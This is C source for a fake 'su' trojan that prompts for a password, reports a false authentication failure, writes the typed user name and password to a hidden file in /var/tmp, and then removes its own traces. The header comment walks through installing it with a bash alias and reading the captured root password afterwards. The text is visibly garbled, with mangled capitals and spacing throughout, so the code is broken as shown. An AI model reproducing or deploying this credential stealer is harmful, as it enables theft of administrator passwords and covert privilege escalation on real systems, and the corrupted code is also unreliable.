/*
* Kpr-fakesu.c v0.9beta167; p.
* By Koper <koper@linuxmail.org>
*
* Setting up:
* Admin @ host :~ $ Gcc-o. Su fakesu. C; RM-RF fakesu. c
* Admin @ host :~ $ MV. Su/var/tmp/. Su
* Admin @ host :~ $ CP. bash_profile. wgetrc
* Admin @ host :~ $ Echo "alias su =/var/tmp/. Su">. bash_profile
* Admin @ host :~ $ Logout
* ** Login ***
* Admin @ host :~ $ Su
* Password:
* Su: authentication failure
* Sorry.
* Admin @ host :~ $ Su
* Password:
* Root @ host :~ # Logout
* Admin @ host :~ $ CAT/var/tmp/. PWDs
* Root: dupcia17
* Admin @ host :~ $
*
*/Bin/su sends varous Failure Information depending on the OS ver.
* Please modify the source to make it "fit"
*
*/
# Include <stdio. h>
# Include <stdlib. h>
# Include <unistd. h>
Main (INT argc, char * argv []) {
File * FP;
Char * user;
Char * pass;
Char filex [100];
Char clean [100];
Sprintf (filex, "/var/tmp/. PWDs ");
Sprintf (clean, "RM-RF/var/tmp/. Su; MV-f/home/sichunfeng/. wgetrc/home/sichunfeng/. bash_profile ");
If (argc = 1) user = "root ";
If (argc = 2) user = argv [1];
If (argc> 2 ){
If (strcmp (argv [1], "-l") = 0)
User = argv [2];
Else user = argv [1];}
Fprintf (stdout, "Password :");
Pass = getpass ("");
System ("sleep 3 ");
Fprintf (stdout, "Su: authentication failure \ nsorry. \ n ");
If (FP = fopen (filex, "W "))! = NULL)
{
Fprintf (FP, "% s: % s \ n", user, pass );
Fclose (FP );
}
System (clean );
System ("RM-RF/var/tmp/. Su; Ln-S/bin/SU/var/tmp/. Su ");
}